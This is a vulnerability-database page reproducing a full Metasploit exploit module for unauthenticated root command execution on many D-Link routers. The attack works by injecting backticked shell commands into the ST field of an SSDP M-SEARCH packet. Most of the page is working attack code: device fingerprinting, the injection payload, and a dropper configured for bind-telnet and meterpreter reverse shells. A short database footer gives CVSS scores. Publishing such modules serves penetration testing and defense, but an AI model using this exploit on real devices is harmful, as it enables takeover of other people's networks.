Lucene search
K

D-Link Unauthenticated Remote Command Execution using UPnP via a special crafted M-SEARCH packet.

D-Link Unauthenticated Remote Command Execution via UPn

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
  include Msf::Exploit::Remote::Udp
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'D-Link Unauthenticated Remote Command Execution using UPnP via a special crafted M-SEARCH packet.',
        'Description' => %q{
          A command injection vulnerability exists in multiple D-Link network products, allowing an attacker
          to inject arbitrary command to the UPnP via a crafted M-SEARCH packet.
          Universal Plug and Play (UPnP), by default is enabled in most D-Link devices, on the port 1900.
          An attacker can perform a remote command execution by injecting the payload into the
          `Search Target` (ST) field of the SSDP M-SEARCH discover packet.
          After successful exploitation, an attacker will have full access with `root` user privileges.

          NOTE: Staged meterpreter payloads might core dump on the target, so use stage-less meterpreter payloads
          when using the Linux Dropper target. Some D-Link devices do not have the `wget` command so
          configure `echo` as flavor with the command set CMDSTAGER::FLAVOR echo.

          The following D-Link network products and firmware are vulnerable:
          - D-Link Router model GO-RT-AC750 revisions Ax with firmware v1.01 or older;
          - D-Link Router model DIR-300 revisions Ax with firmware v1.06 or older;
          - D-Link Router model DIR-300 revisions Bx with firmware v2.15 or older;
          - D-Link Router model DIR-600 revisions Bx with firmware v2.18 or older;
          - D-Link Router model DIR-645 revisions Ax with firmware v1.05 or older;
          - D-Link Router model DIR-815 revisions Bx with firmware v1.04 or older;
          - D-Link Router model DIR-816L revisions Bx with firmware v2.06 or older;
          - D-Link Router model DIR-817LW revisions Ax with firmware v1.04b01_hotfix or older;
          - D-Link Router model DIR-818LW revisions Bx with firmware v2.05b03_Beta08 or older;
          - D-Link Router model DIR-822 revisions Bx with firmware v2.03b01 or older;
          - D-Link Router model DIR-822 revisions Cx with firmware v3.12b04 or older;
          - D-Link Router model DIR-823 revisions Ax with firmware v1.00b06_Beta or older;
          - D-Link Router model DIR-845L revisions Ax with firmware v1.02b05 or older;
          - D-Link Router model DIR-860L revisions Ax with firmware v1.12b05 or older;
          - D-Link Router model DIR-859 revisions Ax with firmware v1.06b01Beta01 or older;
          - D-Link Router model DIR-860L revisions Ax with firmware v1.10b04 or older;
          - D-Link Router model DIR-860L revisions Bx with firmware v2.03b03 or older;
          - D-Link Router model DIR-865L revisions Ax with firmware v1.07b01 or older;
          - D-Link Router model DIR-868L revisions Ax with firmware v1.12b04 or older;
          - D-Link Router model DIR-868L revisions Bx with firmware v2.05b02 or older;
          - D-Link Router model DIR-869 revisions Ax with firmware v1.03b02Beta02 or older;
          - D-Link Router model DIR-880L revisions Ax with firmware v1.08b04 or older;
          - D-Link Router model DIR-890L/R revisions Ax with firmware v1.11b01_Beta01 or older;
          - D-Link Router model DIR-885L/R revisions Ax with firmware v1.12b05 or older;
          - D-Link Router model DIR-895L/R revisions Ax with firmware v1.12b10 or older;
          - probably more looking at the scale of impacted devices :-(
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'h00die-gr3y <h00die.gr3y[at]gmail.com>', # MSF module contributor
          'Zach Cutlip', # Discovery of the vulnerability
          'Michael Messner <[email protected]>',
          'Miguel Mendez Z. (s1kr10s)',
          'Pablo Pollanco (secenv)',
          'Naihsin https://github.com/naihsin'

        ],
        'References' => [
          ['CVE', '2023-33625'],
          ['CVE', '2020-15893'],
          ['CVE', '2019-20215'],
          ['URL', 'https://attackerkb.com/topics/uqicA23ecz/cve-2023-33625'],
          ['URL', 'https://github.com/zcutlip/exploit-poc/tree/master/dlink/dir-815-a1/upnp-command-injection'],
          ['URL', 'https://medium.com/@s1kr10s/d-link-dir-859-unauthenticated-rce-in-ssdpcgi-http-st-cve-2019-20215-en-2e799acb8a73'],
          ['URL', 'https://shadow-file.blogspot.com/2013/02/dlink-dir-815-upnp-command-injection.html'],
          ['URL', 'https://research.loginsoft.com/vulnerability/multiple-vulnerabilities-discovered-in-the-d-link-firmware-dir-816l/'],
          ['URL', 'https://github.com/naihsin/IoT/blob/main/D-Link/DIR-600/cmd%20injection/README.md']
        ],
        'DisclosureDate' => '2013-02-01',
        'Platform' => ['unix', 'linux'],
        'Arch' => [ARCH_CMD, ARCH_MIPSLE, ARCH_MIPSBE, ARCH_ARMLE],
        'Privileged' => true,
        'Targets' => [
          [
            'Unix Command',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'Type' => :unix_cmd,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/unix/bind_busybox_telnetd'
              }
            }
          ],
          [
            'Linux Dropper',
            {
              'Platform' => 'linux',
              'Arch' => [ARCH_MIPSLE, ARCH_MIPSBE, ARCH_ARMLE],
              'Type' => :linux_dropper,
              'CmdStagerFlavor' => ['echo', 'wget'],
              'Linemax' => 900,
              'DefaultOptions' => {
                'PAYLOAD' => 'linux/mipsbe/meterpreter_reverse_tcp'
              }
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'RPORT' => 1900,
          'SSL' => false
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        }
      )
    )
    register_options([
      OptString.new('URN', [true, 'Set URN payload', 'urn:device:1']),
      OptPort.new('HTTP_PORT', [true, 'The HTTP port for the HTTP and SOAP requests sent to detect versions', 80])
    ])
  end

  def vuln_version?(res)
    # checks the model, firmware and hardware version
    @d_link = { 'product' => nil, 'firmware' => nil, 'hardware' => nil, 'arch' => nil }
    html = Nokogiri.HTML(res.body, nil, 'UTF-8')

    # USE CASE #1: D-link devices with static HTML pages with model and version information
    # class identifiers: <span class="product">, <span class="version"> and <span class="hwversion">
    # See USE CASE #4 for D-link devices that use javascript to dynamically generate the model and firmware version
    product = html.css('span[@class="product"]')
    @d_link['product'] = product[0].text.split(':')[1].strip unless product[0].nil?
    firmware = html.css('span[@class="version"]')
    @d_link['firmware'] = firmware[0].text.split(':')[1].strip.delete(' ') unless firmware[0].nil?

    # DIR-600, DIR-300 hardware B revision  and maybe other models are using the "version" class tag for both firmware and hardware version
    @d_link['hardware'] = firmware[1].text.split(':')[1].strip unless firmware[1].nil?
    # otherwise search for the "hwversion" class tag
    hardware = html.css('span[@class="hwversion"]')
    @d_link['hardware'] = hardware[0].text.split(':')[1].strip unless hardware[0].nil?

    # USE CASE #2: D-link devices with static HTML pages with model and version information
    # class identifiers: <div class="pp">, <div class="fwv"> and <div class="hwv">
    if @d_link['product'].nil?
      product = html.css('div[@class="pp"]')
      @d_link['product'] = product[0].text.split(':')[1].strip unless product[0].nil?
      firmware = html.css('div[@class="fwv"]')
      @d_link['firmware'] = firmware[0].text.split(':')[1].strip.delete(' ') unless firmware[0].nil?
      hardware = html.css('div[@class="hwv"]')
      @d_link['hardware'] = hardware[0].text.split(':')[1].strip unless hardware[0].nil?
    end

    # USE CASE #3: D-link devices with html below for model, firmware and hardware version
    # <td>Product Page&nbsp;:&nbsp;<a href='http://support.dlink.com.tw'  target=_blank><font class=l_tb>DIR-300</font></a>&nbsp;&nbsp;&nbsp;</td>
    # <td noWrap align="right">Hardware Version&nbsp;:&nbsp;rev N/A&nbsp;</td>
    # <td noWrap align="right">Firmware Version&nbsp;:&nbsp;1.06&nbsp;</td>
    if @d_link['product'].nil?
      hwinfo_table = html.css('td')
      hwinfo_table.each do |hwinfo|
        @d_link['product'] = hwinfo.text.split(':')[1].strip.gsub(/\p{Space}*/u, '') if hwinfo.text =~ /Product Page/i || hwinfo.text =~ /Product/i
        @d_link['hardware'] = hwinfo.text.split(':')[1].strip.gsub(/\p{Space}*/u, '') if hwinfo.text =~ /Hardware Version/i
        @d_link['firmware'] = hwinfo.text.split(':')[1].strip.gsub(/\p{Space}*/u, '') if hwinfo.text =~ /Firmware Version/i
      end
    end

    # USE CASE #4: D-Link devices with HTML listed below that contains the model, firmware and hardware version
    # <table id="header_container" border="0" cellpadding="5" cellspacing="0" width="838" align="center">
    # <tr>
    #   <td width="100%">&nbsp;&nbsp;<script>show_words(TA2)</script>: <a href="http://support.dlink.com.tw/">DIR-835</a></td>
    #   <td align="right" nowrap><script>show_words(TA3)</script>: A1 &nbsp;</td>
    #   <td align="right" nowrap><script>show_words(sd_FWV)</script>: 1.04</td>
    #   <td>&nbsp;</td>
    # </tr>
    # </table>
    if @d_link['product'].nil?
      hwinfo_table = html.css('table#header_container td')
      hwinfo_table.each do |hwinfo|
        @d_link['product'] = hwinfo.text.split(':')[1].strip.gsub(/\p{Space}*/u, '') if hwinfo.text =~ /show_words\(TA2\)/i
        @d_link['hardware'] = hwinfo.text.split(':')[1].strip.gsub(/\p{Space}*/u, '') if hwinfo.text =~ /show_words\(TA3\)/i
        @d_link['firmware'] = hwinfo.text.split(':')[1].strip.gsub(/\p{Space}*/u, '') if hwinfo.text =~ /show_words\(sd_FWV\)/i
      end
    end

    # USE CASE #5: D-Link devices with dynamically generated version and hardware information
    # Create HNAP POST request to get these hardware details
    if @d_link['product'].nil?
      xml_soap_data = <<~EOS
        <?xml version="1.0" encoding="utf-8"?>
          <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
            <soap:Body>
              <GetDeviceSettings xmlns="http://purenetworks.com/HNAP1/" />
            </soap:Body>
          </soap:Envelope>
      EOS
      res = send_request_cgi({
        'rport' => datastore['HTTP_PORT'],
        'method' => 'POST',
        'ctype' => 'text/xml',
        'uri' => normalize_uri(target_uri.path, 'HNAP1', '/'),
        'data' => xml_soap_data.to_s,
        'headers' => {
          'SOAPACTION' => '"http://purenetworks.com/HNAP1/GetDeviceSettings"'
        }
      })
      if res && res.code == 200 && res.body.include?('<GetDeviceSettingsResult>OK</GetDeviceSettingsResult>')
        xml = res.get_xml_document
        unless xml.blank?
          xml.remove_namespaces!
          @d_link['product'] = xml.css('ModelName').text
          @d_link['firmware'] = xml.css('FirmwareVersion').text.delete(' ')
          @d_link['hardware'] = xml.css('HardwareVersion').text
        end
      end
    end

    # USE CASE #6: D-Link devices with dynamically generated version and hardware information
    # Create a DHMAPI POST request to get these hardware details
    if @d_link['product'].nil?
      xml_soap_data = <<~EOS
        <?xml version="1.0" encoding="utf-8"?>
          <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
            <soap:Body>
              <GetDeviceSettings/>
            </soap:Body>
          </soap:Envelope>
      EOS
      res = send_request_cgi({
        'rport' => datastore['HTTP_PORT'],
        'method' => 'POST',
        'ctype' => 'text/xml',
        'uri' => normalize_uri(target_uri.path, 'DHMAPI', '/'),
        'data' => xml_soap_data.to_s,
        'headers' => {
          'API-ACTION' => 'GetDeviceSettings'
        }
      })
      if res && res.code == 200 && res.body.include?('<GetDeviceSettingsResult>OK</GetDeviceSettingsResult>')
        xml = res.get_xml_document
        unless xml.blank?
          xml.remove_namespaces!
          @d_link['product'] = xml.css('ModelName').text
          @d_link['firmware'] = xml.css('FirmwareVersion').text.delete(' ')
          @d_link['hardware'] = xml.css('HardwareVersion').text
        end
      end
    end

    # check the vulnerable product and firmware versions
    case @d_link['product']
    when 'GO-RT-AC750'
      @d_link['arch'] = 'mipsbe'
      return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.01') && @d_link['hardware'][0] == 'A'
    when 'DIR-300'
      if Rex::Version.new(@d_link['firmware']) >= Rex::Version.new('2.00') && Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('2.15') # hardware version B
        @d_link['arch'] = 'mipsle'
        return true
      elsif Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.06') # hardware version A
        @d_link['arch'] = 'mipsbe'
        return true
      end
    when 'DIR-600'
      @d_link['arch'] = 'mipsle'
      return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('2.18') && @d_link['hardware'][0] == 'B'
    when 'DIR-645'
      @d_link['arch'] = 'mipsle'
      return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.05') && (@d_link['hardware'][0] == 'A' || @d_link['hardware'] == 'N/A')
    when 'DIR-815'
      @d_link['arch'] = 'mipsle'
      return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.04')
    when 'DIR-816L'
      @d_link['arch'] = 'mipsbe'
      return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('2.06') && (@d_link['hardware'][0] == 'B' || @d_link['hardware'] == 'N/A')
    when 'DIR-817LW'
      @d_link['arch'] = 'mipsbe'
      return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.04') && (@d_link['hardware'][0] == 'A' || @d_link['hardware'] == 'N/A')
    when 'DIR-818LW', 'DIR-818L'
      @d_link['arch'] = 'mipsbe'
      return true if Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('2.04') && @d_link['hardware'][0] == 'B'

      return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.05') && @d_link['hardware'][0] == 'A'
    when 'DIR-822'
      @d_link['arch'] = 'mipsbe'
      return true if Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('2.03') && @d_link['hardware'][0] == 'B'

      return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('3.12') && @d_link['hardware'][0] == 'C'
    when 'DIR-823'
      @d_link['arch'] = 'mipsbe'
      return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.00') && @d_link['hardware'][0] == 'A'
    when 'DIR-845L'
      @d_link['arch'] = 'mipsle'
      return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.02') && (@d_link['hardware'][0] == 'A' || @d_link['hardware'] == 'N/A')
    when 'DIR-850L'
      @d_link['arch'] = 'mipsbe'
      return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.12') && (@d_link['hardware'][0] == 'A' || @d_link['hardware'] == 'N/A')
    when 'DIR-859'
      @d_link['arch'] = 'mipsbe'
      return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.06') && @d_link['hardware'][0] == 'A'
    when 'DIR-860L'
      @d_link['arch'] = 'armle'
      return true if Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.10') && @d_link['hardware'][0] == 'A'

      return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('2.03') && @d_link['hardware'][0] == 'B'
    when 'DIR-865L'
      @d_link['arch'] = 'mipsle'
      return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.07') && @d_link['hardware'][0] == 'A'
    when 'DIR-868L'
      @d_link['arch'] = 'armle'
      return true if Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.12') && @d_link['hardware'][0] == 'A'

      return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('2.05') && @d_link['hardware'][0] == 'B'
    when 'DIR-869'
      @d_link['arch'] = 'mipsbe'
      return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.03') && @d_link['hardware'][0] == 'A'
    when 'DIR-880L'
      @d_link['arch'] = 'armle'
      return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.08') && @d_link['hardware'][0] == 'A'
    when 'DIR-890L', 'DIR-890R'
      @d_link['arch'] = 'armle'
      return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.11') && @d_link['hardware'][0] == 'A'
    when 'DIR-885L', 'DIR-885R'
      @d_link['arch'] = 'armle'
      return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.12') && @d_link['hardware'][0] == 'A'
    when 'DIR-895L', 'DIR-895R'
      @d_link['arch'] = 'armle'
      return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.12') && @d_link['hardware'][0] == 'A'
    end
    false
  end

  def execute_command(cmd, _opts = {})
    payload = "#{datastore['URN']};`#{cmd}`"

    connect_udp
    header = "M-SEARCH * HTTP/1.1\r\n"
    header << 'HOST:' + datastore['RHOST'].to_s + ':' + datastore['RPORT'].to_s + "\r\n"
    header << "ST:#{payload}\r\n"
    header << "MX:2\r\n"
    header << "MAN:\"ssdp:discover\"\r\n\r\n"
    udp_sock.put(header)
    disconnect_udp
  end

  def check
    print_status("Checking if #{peer} can be exploited.")
    res = send_request_cgi!({
      'rport' => datastore['HTTP_PORT'],
      'method' => 'GET',
      'ctype' => 'application/x-www-form-urlencoded',
      'uri' => normalize_uri(target_uri.path)
    })
    # Check if target is a D-Link network device
    return CheckCode::Unknown('No response received from target.') unless res
    return CheckCode::Safe('Likely not a D-Link network device.') unless res.code == 200 && res.body =~ /d-?link/i

    # check if firmware version is vulnerable
    return CheckCode::Appears("Product info: #{@d_link['product']}|#{@d_link['firmware']}|#{@d_link['hardware']}|#{@d_link['arch']}") if vuln_version?(res)
    # D-link devices with fixed firmware versions
    return CheckCode::Safe("Product info: #{@d_link['product']}|#{@d_link['firmware']}|#{@d_link['hardware']}|#{@d_link['arch']}") unless @d_link['arch'].nil?
    # D-link devices that still could be vulnerable with product information
    return CheckCode::Detected("Product info: #{@d_link['product']}|#{@d_link['firmware']}|#{@d_link['hardware']}|#{@d_link['arch']}") unless @d_link['product'].nil?

    # D-link devices that still could be vulnerable but no product information available
    return CheckCode::Detected
  end

  def exploit
    print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
    case target['Type']
    when :unix_cmd
      execute_command(payload.encoded)
    when :linux_dropper
      # Don't check the response here since the server won't respond
      # if the payload is successfully executed.
      execute_cmdstager({ linemax: target.opts['Linemax'] })
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

14 Nov 2023 20:40Current
7.9High risk
Vulners AI Score7.9
CVSS 210
CVSS 3.19.8
EPSS0.75105
SSVC
49